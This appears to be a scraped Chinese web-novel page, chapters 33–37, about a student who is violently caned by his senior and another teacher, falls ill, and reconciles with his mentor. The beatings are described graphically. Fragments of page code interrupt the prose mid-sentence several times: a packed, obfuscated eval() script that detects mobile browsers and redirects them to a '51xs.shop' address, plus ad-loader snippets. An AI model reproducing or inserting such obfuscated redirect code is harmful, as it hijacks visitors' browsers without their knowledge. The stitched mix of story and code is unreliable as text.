;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590831|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向。 黑暗中,姜新宇惨叫连连。 事情闹得很大,姜家的小公子从严先生家里出来就被严先生的学生打了,还打得鼻青脸肿根本不能见人。严先生甚至没空去问前因后果,只让刘巍思呆在家里不要乱跑,便带着易堂生匆匆忙忙上姜家赔礼道歉。 刘巍思窝在沙发里,抱着双膝,慢慢地蜷成一团。当时不知道怕,现在出事了,知道复盘了,可是复盘也没有什么用,那个时候他是没办法冷静的。 可是他为什么不冷静呢?他为什么那样生气呢?左不过是因为姜新宇讲了些什么传人的屁话,这些事他本该回家来问老师的,但是他没有,他轻易地被激怒了。 也许激怒他就是姜新宇的真实目的,以此来迫使他退出这个师门,或者是让出所谓传人的位置,他实在不该中计的。 更何况,他跟着老师这么多年,怎么能因为姜新宇的几句话就对他和老师之间的情谊产生怀疑? 不知道老师和大师兄到姜家又是什么光景。 严先生和易堂生在姜家自然没有什么好光景,就算严先生的地位在那里,但到底势单力孤,又是理亏的一方,面对人家一屋子的教授和研究员,只得一再赔笑道歉,说些小孩子不懂事,自己管教不严一类的话,又连连保证以后这样的事不会发生,末了还提起自己手里有个新题目,不知道新宇有没有兴趣。 一整天下来,严先生笑得脸都僵了,离开姜家的时候身体一晃,差点没有站稳。易堂生连忙扶住老师:“老师,您没事吧?” 严先生缓了一会儿,摆摆手道:“没事,回去吧。” “巍思也真是不懂事,都多大的人了,还这么冲动胡来,老师您就是太宠着他了,平日里什么都由着他的性子,经了这回事,您可不能再这样了,男孩子,管得严些是应该的,否则将来走错了路,可就晚了!”易堂生劝了许多,可见老师一脸倦态,估计也是听不进去,心想劝老师是没用的了。 师生俩回到家,刚进门就见刘巍思从沙发上站起来,一副欲言又止的样子。 严先生累得不行了,连话也说不出来,可易堂生却还有劲,一看刘巍思那模样,气不打一出来,大步上前揪住他的衣领,将人拖进了书房。 33. 第 33 章 刘巍思早就知道逃不过一顿打,但大师兄的粗暴还是吓到了他。他刚被甩进书房,还没有站直,就看见大师兄一把抓过架子上的竹鞭,心中一惊,一句“不要”到了嘴边,眼前却是虚影一晃,竹鞭劈头盖脸地抽了下来。 “啊!”刘巍思下意识抬手一挡,竹鞭“啪”一声抽在他右手臂上。纵使刘巍思穿着衬衫和颇有些厚度的外套,仍挡不住破皮撕肉般的痛感,泪水瞬间涌上眼眶。 “大师兄。”刘巍思有错在身,却忍不住委屈,夹着哭腔唤了一声。 可易堂生哪里会吃这一套?一双圆眼瞪着他,嘴角气得抽动:“你还有脸叫大师兄?!”本想骂他几句,可实在气不过,手中竹鞭又扬了起来,朝着他的后背狠狠抽了下去。 “啊!!”背上没肉,竹鞭抽下去跟打在骨头上一样,一点遮挡都没有,几乎让人晕过去。 “啪!” “啊!!”刘巍思从没见过大师兄这样打人,没有问话,没有口头教训,没有数目,也没有褪裤,什么都没有,这太不正常了,一定是气狠了。刘巍思是个聪明的,一边挨打还能一边判断大师兄的状态,知道不能任由他打,便边挨边退,用手挡着脸和脑袋,尽量背对着他,让竹鞭落在腰背和手臂上。 易堂生确是气头上,不拘什么地方,扬鞭就抽,眼看着竹鞭都要抽到刘巍思脸上了也不收手,仍是卯足了劲教训他。一时间,书房里“啪啪啪”的抽打声和刘巍思的惨叫。 严先生累了一天,瘫在外头沙发上,动也不想动,原本想着小孩子欠教训,让大师兄收拾一顿也好,可是听着小孩的呼喊声,严先生也隐隐担心起来,便起身往书房去了。 易堂生着急教训师弟,连门也没关。严先生走到门口就看见刘巍思缩在角落里,两手抱着头,狼狈躲避,嘴里不住喊着“救命”,而易堂生手里拿着竹鞭,“啪啪啪”地对着小孩抽。 严先生吓了一跳,忙道:“堂生!快住手!别打了!” 易堂生哪里肯放过他?只回头说了声“老师您别管”,便拽着刘巍思的手臂将他拖出来,对着他的后背和臀部“噼里啪啦”地抽了下去。 “啊!!救命!老师!大师兄要打死——啊!老师救命!啊!!” “堂生!你住手!快住手!”严先生忙上前去拉住他,可易堂生人年轻,劲又足,不仅没拉住,还差点摔个趔趄。易堂生见老师的身影一晃,吓得魂飞魄散,连忙撒了刘巍思和竹鞭,转身去扶老师:“老师,您有事没有?” 严先生头晕眼花,眼前天旋地转,耳边嗡嗡的,什么也听不见。 被打了一身伤的刘巍思终于得以解脱,只觉全身上下火辣辣地疼,想到他不过打了姜新宇几拳,老师和大师兄就上赶着给人道歉,还这样教训自己,恨不得把他打死给姜新宇赔罪,一时间悲怆难言,眼泪“唰”地涌上眼眶。 只是谁也顾不上他,易堂生见老师不大舒服,赶紧扶着老师回房休息去了。渐渐平静的书房里,只剩刘巍思和那根被落在书桌上的竹鞭。 刘巍思抬手擦了眼泪,抬脚往外走了。 “巍思,你怎么来了?”已经是晚上了,柏阅冬打开宿舍门,看见眼眶通红的同学,颇有些奇怪。 刘巍思失魂落魄地挤进人家的宿舍,不等人同意就蜷上了柏阅冬的床,庄遂平见了,与柏阅冬对视一眼,谁也不敢问。 倒是刘巍思自觉,主动道:“我不回去了,我要在你们这里睡。” 柏阅冬和庄遂平面面相觑。 他们这寝室地方小,床最多睡得下一个成年男子,再睡一个就根本动不了,可是刘巍思一看就是受了大委屈,他们也不能让人走。 还是庄遂平开了口:“那我给你打个地铺?” “嗯,地铺也好,反正我不回去了。” 庄遂平找出自己冬天用的厚被子来,腾出过道的地方,清扫了两遍,才把被子铺下来。柏阅冬见状,拿出了自己一条羊毛毯子,给刘巍思当被子用。 仲春了,应该冻不着了。 “你吃过饭了吗?”柏阅冬问。 刘巍思摇摇头:“心里堵,吃不下。” 刘巍思打人的事今天就传开了,柏阅冬和庄遂平都有耳闻,原想问问的,只是见他这模样,再好奇也问不出来了。 “巍思,”庄遂平递过来一个枕头,“先睡吧。” 刘巍思不客气,接了枕头,一句话不说,侧躺在地铺上,眼泪“哗哗”往下淌。 庄遂平很担心,俯身问:“巍思,你身上是不是不舒服?” 柏阅冬一听,猛然反应过来,出了这样的事,刘巍思该是挨打了,忙跪坐到他身边:“巍思,你挨打了是不是?” 刘巍思一句话都回不出,只是哭。 柏阅冬“哎呀”一声,急不可耐,拖着他起身,硬是要扒他衣服看,刘巍思浑身都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590832|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是伤,被拉扯得更痛,再怎么心如死灰还是“哼哼唧唧”了好几声。庄遂平抓着柏阅冬的手,道:“你小心些,我看巍思疼得不行了。” “巍思,你说句话呀!跟我们也没什么不好意思的,挨打就挨打了,又不丢人,你不说话,我跟遂平慌得很。” “是啊,巍思,你心里难过委屈,尽管说,别一个人憋着。” 刘巍思的外套松松垮垮地挂在身上,显得格外狼狈。往常他挨了打,都是老师哄他的,可是这回老师大约再不会再来哄他了。 庄遂平叹声气,慢慢地拍了拍他的肩膀,见他没有激烈反应,才缓缓帮他褪了外套。外套一褪,他们就看见刘巍思的伤了——刘巍思当时用手臂挡了好几下,血红色的伤痕在白色衬衫下若隐若现,更不要说背后还有好几处渗出了血丝的。 庄遂平和柏阅冬对视一眼,颇为震惊。 他们挨打向来是最羞耻的褪裤,打屁股,是那种孩童式的受罚。但是屁股肉厚,戒尺、鸡毛掸子之类的,再怎么打也是伤皮肉,大多数青紫肿胀,破皮出血就是重罚了。可刘巍思遍布手臂、肩背的伤实在太吓人了。 这只是上半身,下面肯定还有。 脊背这样单薄,万一打伤了…… 伤处这么分散,受罚的场景大约很难看。 这些想法不约而同跃入两人脑海中,让他们顿时明白了刘巍思为何一言不发。 一个受尽宠爱的学生,竟然遭此毒打,这不仅是身体上的伤害,也是情感和精神的侮辱。 柏阅冬拿了一瓶药水和一包药用棉花来,轻声道:“巍思,衣服脱了吧,要上药的。” 刘巍思跟雕塑似的一动不动,庄遂平只得帮他:“你别动,我来。”说罢帮他一颗颗解开衬衫的扣子。 背上出血的地方好几处,甚至有一处血迹沾了衣服,褪下的时候牵连拉扯,疼得刘巍思脖颈猛地朝后一仰,眼泪又是泉水似的涌出。 本该平滑的脊背,布满了大约两指宽的血痕,横着,斜着,平行的,交错的,凌乱一片。细看还能看到不少地方表皮翻起一点儿,可想而知下手的人有多狠心。 柏阅冬有点不忍心,只得交给庄遂平。庄遂平接了药,将药水倒在一团棉花上,小心翼翼地沾上伤处,只听刘巍思“嘶”一声,立刻放开了。 “巍思,太严重了,要处理的。” 刘巍思深呼吸,缓缓点了点头。 34.第 34 章 三个年轻小伙子挤在窄小的寝室里,睡得跟猪一样,一个赛一个的沉。刘巍思原本以为自己会睡不着,可这两天他简直身心俱疲,上了药之后一沾枕头就昏昏沉沉睡过去了。 第二天没课,几个人收拾了地铺,窝在寝室里聊天,刘巍思跟他们说了事情的前因后果,柏阅冬当即埋怨起易堂生来:“我上回就说了,你大师兄不知道咋回事,这么向着别人,打你打这么狠,他是把你当师弟吗?” “他不打我的时候,对我还挺好的。” “可动起手来,恨不得把你打死!”柏阅冬翻了个白眼,“哪有这样的师兄啊?以后我当了师兄,肯定对我师弟师妹很好。” 也许是庄遂平没怎么跟他师兄接触过,纪慎也没有提过什么师弟师妹的事,他对这些关系很不敏感,到了这会才想到也许下个学期他也会有一个师弟或者师妹,不知道纪慎又是什么反应。 正聊得兴起,寝室木门却被敲了几下,三人瞬间沉默下来,眼神交流一番后,柏阅冬起身开门去了。 门外站着纪慎和秦昭阳,均是一脸铁青,就差把兴师问罪几个字写在脑门上了。柏阅冬只开了一个门缝,身体堵得严严实实,脸上赔着笑,夸张地叫道:“纪老师!师父!您二位怎么大驾光临了?徒儿有失远迎,还望师父切莫怪罪!” 房中两人一听这话,便知柏阅冬在给他们报信。刘巍思往庄遂平床里头躲了躲——没什么用,但还是要躲。庄遂平也配合着,往前坐了点,挡住刘巍思的身影。 门外那两人吃的盐比这几个小屁孩吃的米还多,哪能看不出这点把戏?纪慎不与柏阅冬纠缠,直接问:“刘巍思在你们这里是不是?” 柏阅冬眉毛一蹙,问:“巍思不见了?” “柏阅冬,别在这里装傻,让刘巍思出来,跟我们回去。” “纪老师,我没装傻,我真没明白您说什么。” 纪慎耐心尽失,宽大手掌往门上一按,奋力一推,破旧的木门猛然撞上墙壁,发出沉闷的“嘭”声,整个寝室一览无余。 庄遂平猝不及防地见到纪慎,颇有些慌张,双腿打颤,缓缓起身:“老师。” 但纪慎只是轻飘飘地瞥了他一眼,随后径直走进去,一把将躲在床角的刘巍思拽了出来:“刘巍思,跟我走!” 刘巍思哪里肯?当即甩手蹬脚挣扎起来:“我不走!我不回去!” 纪慎颇为恼怒,两手并用,紧紧制住他双手双脚,就差要打人了,却只是说:“严先生在找你,跟我回去!” 严先生在找,那怎么不亲自来找呢?不对,现在哪里有空呢?该是殷勤地去宽慰姜新宇才对。刘巍思心中凄凉,霎时红了眼眶,问:“他是不是去找姜新宇了?” 纪慎一怔,他向来尊师重道,刘巍思这么多年也是十分敬重严先生的,乍然听了他这么咄咄逼人的问话,生气之前倒先愣了。 “刘巍思,你怎么说话?” “我怎么说话?你们就会问我怎么说话?怎么没人问姜新宇怎么说话?纪老师,您不敢回答我的问题是不是?他就是去找姜新宇了是不是?他巴巴地去讨好他的小弟子,然后让你们来绑我回去是不是?”刘巍思十分激动,说到后面,眼泪已是“唰”地淌下。 纪慎却不觉得他委屈,只觉他实在不懂事,厉声喝骂:“刘巍思,你这么理直气壮,觉得自己没错是不是?严先生为什么要去找姜新宇?还不是因为你把人家打了?你的老师为了你犯的错四处奔波,你就跑出来让人着急,严先生一边帮你收拾烂摊子还一边惦记着你,怕你出事,你呢?你就在背后怨怼你的老师?” 刘巍思凄惶一笑,哭道:“哪里是还惦记我?不过是要抓我回去给姜新宇一个交代罢了!怎么?昨天打我一顿还不够,还要打是不是?” 纪慎原本就气他不懂事,听了他的话,更是怒火中烧,当即扭头环视,正见柏阅冬窗前挂了一排空衣架,其中一个木衣架是他平日拿来挂西装外套的,二话不说取了来,抓住刘巍思就要打。 柏阅冬和庄遂平哪里能眼睁睁看着?立刻上前去拦。柏阅冬拉着纪慎的手,忙道:“纪老师,您消消气,您大人有大量,别打别打!” 庄遂平更是挡在刘巍思面前哀求:“老师,巍思已经一身伤了,不能再打了。” 纪慎瞅了他们俩一眼,扬声道:“昭阳!” 秦昭阳是个助攻命,一听这声就知道自己该出手了,两手抱在胸前,唤了一声:“阅冬,过来。” “师父!”柏阅冬撒娇似的,摇摇头,不肯过去。 “阅冬,听话,到师父这里来。”哄小孩一般的话语,可柏阅冬却很清楚,他要是再反抗,他的屁股也好不了,最后只得不情不愿地松开纪慎的手,悻悻地到秦昭阳身边去了。 秦昭阳拉着他的手,走到寝室外头去了。 纪慎阻力少了一半,刀子似的眼神射向庄遂平:“让开!” “老师!” “我说让开!” 庄遂平亦是无奈,刚让了半个身位,纪慎便拽着刘巍思一翻,让他趴在床上,扬起手中的木衣架,“啪啪啪”地抽了下去。 “啊!!”刘巍思原本屁股上也有伤,钝重的木衣架往臀上一砸,疼得他眼前直冒金星,太阳穴都突突刺痛起来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 纪慎下手很重,边打边骂:“好好跟你说你不听,非要使小性子!我看是平日教训得少了!” “呃——”刘巍思冷汗直下,只觉可笑,从前那些好老师,碰上姜新宇的事,瞬间都成了他的敌人,再也没有人站在他这一边,“打死我好了!反正也有姜新宇了!少我一个也不是大事!” “你!”纪慎被他气得一哽,竟不知以什么话来回应,干脆抓紧衣架,更狠地抽了下去,打得刘巍思“呜呜呜”哭叫起来。 门外的柏阅冬听不下去,恳求道:“师父!” 秦昭阳可没空心疼别人家学生,警告地盯着他:“跟你说过了,别插手人家师生的事!” “那您还不是插手了!还跟纪老师一块过来找刘巍思!” “我是被迫的,严先生交代,我总得走一趟。我也没资格教训刘巍思,由着你纪老师去,我等着押他回去就行。” 柏阅冬气得瞪了他这没出息的师父一眼,忽然想到什么,眼睛一亮,道:“您说的,严老师交代的,万一纪老师下手重了,把巍思打出个三长两短,到时候肯定也怨你没拦着!严老师让您和纪老师来,是要找巍思的,不是要打他的!” 秦昭阳沉思片刻,转身进寝室去了。 而寝室里头,庄遂平也看不下去了,眼瞅着那木衣架要再次落下,竟然以身覆上,替刘巍思结结实实地挨了一下。木头打在他侧腰上,疼得他差点晕过去。 纪慎愣了一下,怒骂:“庄遂平,你找死是不是?!” 庄遂平扶着腰,明知自己做错,却不肯让开:“老师,巍思撑不住的。” “你看他嘴硬的样子,是撑不住吗?我倒要看看,他这个屁股是不是也跟嘴一样硬!” “纪老师!”秦昭阳上前,将他拉开一步,小声道,“我看这情况,想让刘巍思心甘情愿回去也不大可能,严先生让我们来找他,我们回去跟严先生说他在这就行。他是个懂事的,不会乱跑,阅冬和遂平也会看着他的。要是这节骨眼,再把刘巍思打伤了,严先生心疼,这孩子恐怕更怨怼严先生了,对两边都不是好事。” 纪慎一寻思,确实是这么个理,却不想轻轻放过,于是又上前教训道:“刘巍思,这回的事你给我好好反省着,等事情处理完了,你看我教不教训你!庄遂平,你给我看着他,这几天他要是出了事,你就等着屁股开花!” 庄遂平身后蓦然一紧,乖乖应道:“是。” 纪慎丢下衣架,率先走出了寝室。 秦兆阳紧跟在后,离开时给了柏阅冬一个眼神,让他安心。柏阅冬机灵道:“纪老师再见,师父再见!” 35.第 35 章 刘巍思仍然保持着挨打的姿势,身心俱疲地趴在床上,一动不动。庄遂平万分不忍,轻声道:“巍思,我帮你上点药吧。” 柏阅冬风风火火地闯进来,“嘭”地把门关上,凑过来瞧:“巍思没事吧?” 庄遂平正小心翼翼地将刘巍思的裤子往下褪,本来昨天那竹鞭就抽破了些皮,刚刚被纪慎一通收拾,冒了好几处血点,粘在裤子上,庄遂平手一颤,不敢想刘巍思有多疼。 可是刘巍思不知是被打傻了还是伤心了,也不喊疼,只由着庄遂平动作。 柏阅冬帮着庄遂平给他上了药,又把他挪到床上趴好。庄遂平边收拾东西边道:“巍思,你今天睡我床吧,伤太重了。” 刘巍思不言不语。 “让他静一静吧。”柏阅冬道。 当天晚上,庄遂平让出了自己的床,睡在寝室中间过道的地铺上。地铺比床硬,也比床凉,他一晚上没睡沉,又不敢翻身,怕吵醒同伴。天刚蒙蒙亮,他便获救一般,立刻轻手轻脚起身,拿了书上图书馆去了。 暮春时节,晚上气温还有些低,刘巍思身上带着伤,精神又不好,一觉醒来头昏脑胀的,“哼哼唧唧”地喊着,把柏阅冬吵醒了。 柏阅冬一睁眼,发现地铺已收拾好了,却顾不上庄遂平去了哪儿,只趿着拖鞋去看刘巍思:“巍思,你好些没有?巍思!巍思,你怎么……巍思,你醒醒!你怎么烧起来了?” 刘巍思眼皮重得仿佛压上千斤担子,拼死了才睁开一线,朦胧中见柏阅冬在他眼前晃来晃去的,头晕得很:“困,还要睡……” “睡睡睡,睡个屁啊!起来,上校医院去!”柏阅冬二话不说掀了他的被子,冷得他一个激灵,浑身起了一层鸡皮疙瘩。 “阅冬,别晃我,我难受。” “我没晃你啊!”柏阅冬不会照顾人,小身板也不可能把刘巍思背起来,只得使出九牛二虎之力拼死把他从床上拽下来,跌跌撞撞往校医院去了。 正是换季时候,校医院里人不少,感冒发烧的是大多数,还有些磕了碰了运动拉伤了,不过好在是年轻人,基本都是生龙活虎的,像刘巍思这样真的病怏怏的,确实少见。 应该是伤口感染引起的发烧,但是柏阅冬不敢随便乱讲,只是说早上醒来就发现同学烧了,医生开了点滴和口服的药,让他们打针去了。 吊瓶挂得高高的,药水一滴滴落下,顺着细细的软管进入血管里。刘巍思依旧昏昏沉沉的,没有什么实感。 柏阅冬看着那一大包乱七八糟的药,道:“我去找个杯子,打水给你吃药。” “嗯。”刘巍思点了点头。 柏阅冬倒也知道刘巍思这个时候不一定想见严先生,只是他病了,不跟严先生说一声也不行,于是趁着打水的当儿,跑到校医院的走廊里,拿公共电话拨了严先生家的号码。 刘巍思靠在椅背上,倦意如潮水般涌来,脑袋慢慢歪下,又渐渐睡了过去。只是到底不安稳,仿佛才一秒钟,便失重似的惊醒了,睁开眼,柏阅冬正坐在身旁低头看那些药。 “你等会再睡吧,把药吃了,这个吃两颗,这个是一颗,还有这个……呐,水。” 刘巍思十分自觉,一口吞下那些大大小小的药片,还不等苦涩味道在嘴里弥漫开来,便一大口水全冲了进去。 “你身上还有哪里不舒服吗?” 刘巍思疲倦地摇摇头,又不禁笑起来:“我都好多年没生过病了,上一次生病,还是……” 还是好多年前在家里,那时候严先生在他们村子里劳动,大半夜的偷偷跑去看他。家里什么药都没有,母亲给他盖着厚厚的被子,不停帮他擦去额上的冷汗,折腾一晚上,烧也没退下去。那会老师应该很担心他吧? 现在好了,病了就来医院打针吃药,最多两个小时,他就会满血复活,一点都不受影响,但是,他再也不会感受到那样的关怀了。 “阅冬,”刘巍思冷不丁开口,“我没有父亲。” 柏阅冬一怔,不知道他怎么突然讲这个,也不知该如何接话。好在刘巍思并不需要人接话,只自顾自说道:“我是遗腹子,你知道吗?我爸在我出生之前就死了,是我阿妈把我生出来,一个人带大我。我小的时候在村里,谁家的饭都吃过。我们村里的人都挺好的,没有什么人在背后指指点点,不会说我是没爹的孩子,只会说我阿妈辛苦,说我听话,让我以后好好报答我阿妈……” “但我还是会发现自己跟别人的不同,比如看戏的时候,我去晚了就什么也看不见,前面都被挡得严严实实,但是别的小孩就可以骑在爸爸肩上,你,你骑过吗?” 柏阅冬当然骑过,所有幸福生活里和父母有关的事情,他都做过,但是他不能在这个时候拿出来说。 “我十四岁的时候,他,”刘巍思哽咽了一下,“他就被送到我们村去,刚开始老是搞批斗什么的,就在一块大空地上,很多人,胸前挂一块牌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,排着队上去,说自己犯了什么什么错误,下面的人就开始骂他们,有时候还动手,很混乱,我每次都跟着去看热闹。” “别人都很怕这个,但是他看得很开,每次都很从容,说话慢条斯理的,有时候还带着笑,看我们就像是看犯了错的小孩,人家说他态度不端正,把他头发都给剃了,他也无所谓。” “我有一次碰到他,他一边拔草一边念诗,我就问他念的什么,他蹲在地上,笑吟吟地抬头看我,问我喜不喜欢,喜欢就教我。” “然后,他就开始教我读书,给我留吃的,陪我在河边抓鱼,看我摔跤了就把我揪起来一顿骂……”刘巍思眼眶通红,“我一边挨骂一边想,我有爹了……” “但是现在,又没有了……” “巍思,”柏阅冬庆幸,给严先生通风报信是对的,“你别多想,严老师还是关心你的,他让纪老师和我师父来找你,也是怕你出事。” “但是在我和姜新宇之间,他还是会选姜新宇。” “巍思,我觉得严老师可能也没办法,毕竟你有错在先,他总不能先来安慰你,不然别人也会说他的不是。” 刘巍思苦笑一声:“不重要了,我也,不会再有什么期待了。” 柏阅冬默默叹息,只能期盼严先生能早点过来,刚才电话里说的马上来,也不知道快到了没有,再不来,刘巍思都不知道胡思乱想成什么样了。 倒也是说曹操曹操到,柏阅冬一扭头,就看见易堂生扶着严先生进来了。严先生焦急地望来望去,倒是易堂生眼尖,一下就看见了柏阅冬,扶着老师往这边来了。 “巍思,你老师来了。” 刘巍思还懵着呢,转头一瞧,竟是愣了。 可没想到,一声老师还在犹豫该不该叫,便被易堂生劈头盖脸地骂了一句:“刘巍思,你现在出息了,一点不高兴就要到处跑是不是?让老师为你奔波操劳,就是你当学生的本分是不是?!” 刘巍思望着这两人,脸色瞬间冰了下去。 感觉到易堂生要上前,严先生一把拉住了他:“堂生,阅冬还没有吃饭,你带阅冬吃饭去。” “老师……” “去吧,阅冬,你跟你易师兄吃饭去。” 柏阅冬看看刘巍思,点点头:“那我先走了。” 易堂生十分不放心,却也没办法,只得带着柏阅冬走了。 刘巍思眨眨眼,通红的眼眶倏地落下泪来。 36.第 36 章 庄遂平一早就去了图书馆,尚不知刘巍思病了的事,中午独自去食堂吃饭,却不想在嘈杂的人群中听见有人叫他的名字。 庄遂平手里端着饭碗,扭头瞧去,竟是郑旭。 “郑师兄……” 郑旭瞧瞧手里的碗:“你一个人,一起?” 没法拒绝,庄遂平惴惴不安地点了头,跟着郑旭走了。 食堂稍显拥挤,两人绕了小半个食堂才找到一张空桌子坐下。出于对师兄的尊重,庄遂平还是绞尽脑汁地找了个话题:“平时都没在学校里见过师兄。” 郑旭笑了笑,道:“我不住学校,住在家里,研一有课就常来,现在没课了,有事才来。” “那今天是有事?” 郑旭似乎很饿,一个劲埋头吃饭,费好大劲才咽下嘴里的饭菜,道:“老师找呗,有篇文章要发了,让我按照编辑的意见再改改。” 庄遂平右手食指在筷子上轻轻一刮,想笑却笑不出来:“师兄,也要发文章了。” “我这都什么时候了,现在发文章都要被人笑死了,上次那个是你舍友不?那是真厉害啊!” 提到阅冬,庄遂平更笑不出来了,他们俩因为这事一人挨一顿打,再怎么也算不上美好回忆。 “不管怎么样,还是要恭喜师兄。” “别恭喜了,都不知道被老师骂多少回了都,再说了,也是老师带着才发的,要是我自己,不一定发得出去呢!” 庄遂平苦笑:“自己发,老师也不一定高兴。” “怎么可能?”郑旭被他逗笑了,“要是我自己发得出文章,老师大牙都要笑掉了!哪个老师不想自己的学生有成果?咱们老师虽然严肃了点,但到底不能免俗。你上回不是自己发了篇文章吗?老师一定很高兴吧?” 老师一定很高兴吧? 庄遂平心里堵得慌,他压根没见过纪慎高兴的样子。 “我,我是盼着老师高兴的。” “那是,老师高兴了我们的日子才能好过,师兄我是没什么出息了,全靠师弟你了。” 庄遂平不知怎么的,想起刘巍思的事,忍不住问:“师兄,你知不知道咱们老师下一届要招谁啊?” “下一届的事就下一届再说啊,现在不都没影儿吗?”不常在学校的关系,郑旭也未曾听说刘巍思和姜新宇的事,不知道怎么的说这么远了。 庄遂平点点头,掩饰似的:“要是来个厉害的就好了,老师应该会高兴点。” “厉害的有厉害的教法,普通的有普通的教法,让老师自己烦去吧,我可不操心这么多。” 庄遂平笑了下,看着郑旭高高兴兴吃饭的模样,竟有些羡慕他。 而此时的校医院里,护士刚来给刘巍思换了一瓶新的吊水,满满的药水倒悬着,滴滴答答,像倒计时。 严先生坐在一旁,许久才出声:“是要跟老师生分了?” 刘巍思不说话,只有眼泪一个劲往下掉,比药水滴下来的速度快多了。 严先生看得揪心,上手给他抹眼泪,抹着抹着就忍不住把小孩往怀里搂:“让巍思受委屈了。” 刘巍思梗着脖子,不愿意那么顺从,可是脑袋一碰到老师的肩膀,就控制不住抖动起来,“呜呜呜”地哭出了声。 “不哭,没事啊,老师带你回去,不怕不怕……” 身上好疼,大师兄打,纪老师也打,老师不来找,又生病,好难受,想哭,想回到以前,只有我跟老师,谁也没有……刘巍思一肚子的话,却不知道从哪一句开始说起,只是哭个不停。 “好了好了,到处都是人,这么大了还哭,别人见了要笑话你。” “我才不管别人……” “好,不管别人,那你总得想想老师,你哭成这样,老师心里也难受。” 热泪汹涌,刘巍思止不住眼泪,又心疼老师,却只是莫名其妙说了句:“老师不来,就不难受了。” 说到底,还是介意姜新宇的事。严先生揉揉他的头发,叹气道:“你以为老师不在意你是不是?你这两天不在家里,老师做什么,心里都空落落的,昨天实在走不脱,才让你纪老师和秦老师去找你,刚刚接了阅冬的电话,紧赶慢赶就过来了,一路上就怕你出点什么事……巍思,你跟着老师这么多年了,老师对你是什么心思,你不明白吗?” 刘巍思抬手擦了眼泪,坐直了身体:“我知道老师对我好,但是,老师也不会永远都对我好。” “新宇的事,怪老师没和你说清楚,老师以为你心里有底,不会多想,没有想到你还是会害怕。”严先生搂着他的肩膀,道,“老师这辈子最艰难的时候,身边只有巍思一个啊!” 刘巍思眼泪“哗哗”流,哭得说不出话来。 严先生拍着他的肩,缓缓道:“新宇对学习是很有热情的,他有心学,做老师的总该帮他。他们家和你大师兄认识很多年了,又都是学校里的老师,我总不能驳人家面子。原本想着,他们请我吃饭,我也让新宇来家里吃个饭,正好让你们俩认识认识,以后也能相互帮助,没想到,搞成这个样子……”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>刘巍思情绪上头,硬邦邦道:“我不喜欢他,我不跟他吃饭。” 严先生却只是笑了笑:“老师知道你,你不是那种人,所以我想,是不是新宇说了什么你不爱听的话?” 刘巍思一怔,缓缓看向老师,那略带震惊的眼神一下就让严先生有了答案。 “老师不问你们都说了什么,老师相信你有自己的判断。只是你把人打了,老师上门去道歉也是应该的,那天见你大师兄带你进书房去,本也是想给你个教训,也不曾想你大师兄下手这样狠……” 刘巍思发狠地抹了眼泪:“他跟人家认识得久嘛,当然向着姜新宇!” “这倒不是,你们两个都是他师弟,他只知道你做错了,自然是教训你。” “如果姜新宇打了我,他也会这样教训姜新宇吗?” 严先生愣了片刻,缓缓摇头,颇为无奈:“新宇就算当我的学生,也不是我们能教训的,真犯了什么错,让他父母来就是了。” “他的父母偏袒他怎么办?老师不能教训他,他也不必守我们的规矩了,岂不是为所欲为?” 严先生早有这样的担心,但目前看来,姜新宇也没什么坏心思,小事由着他去便罢了,若真是大事,他也管不了。 “你不喜欢他,便少跟他来往,不必跟他起冲突,有什么来跟老师说就是了。” 刘巍思不说话,实际上已接受了老师的说法,只是心里头老有疙瘩,不舒服。 “莫要委屈了,等病好了,想吃什么,老师带你去,嗯?” 刘巍思沉默了一会,还是点了头。 刘巍思就这样被带回了家,拥挤了两日的寝室又恢复了原样。庄遂平有些不适应,躺在床上,问:“阅冬,你说巍思回去还会不会挨打。” 柏阅冬开了小台灯,坐在书桌前看小说,道:“应该不会了吧,你是不是要睡了?” “嗯,要睡了。”庄遂平扯了扯被子。 桌上的小闹钟快走到十二点了,柏阅冬一惊,竟然看小说看到这么晚,不过实在放不下,便道:“你先睡吧,灯是不是照到你了?” “没事,其实我也不怎么困,你看什么呢?” “金庸,我大学时候没看完,这两天想起来了,接着看。” 庄遂平笑笑,真是羡慕他:“阅冬,我睡不着。” “怎么睡不着呢?” 庄遂平把手放在左胸膛,感受着自己的心跳,缓缓道:“我觉得,很迷茫。” —————————————————— 37.第 37 章 春天悄悄地过去,待柏阅冬发现,他已穿上了父母和大哥从国外寄回来的新款T恤,却还是没看完金庸。 庄遂平坐在他对面,面前摊着本钱谦益的诗文集,却一个字也看不进去。 图书馆里安安静静,只有翻书和写字的声音,庄遂平小声地叫他:“阅冬!阅冬!” 柏阅冬眼睛都舍不得从书上挪开,恋恋不舍地抬头,问:“怎么了?” “我有点看不下书,先走了。” 柏阅冬眉心一蹙,正想问他怎么了,却看见前面隔着好几张桌子的地方,有个熟悉的身影:“那不是易师兄吗?” 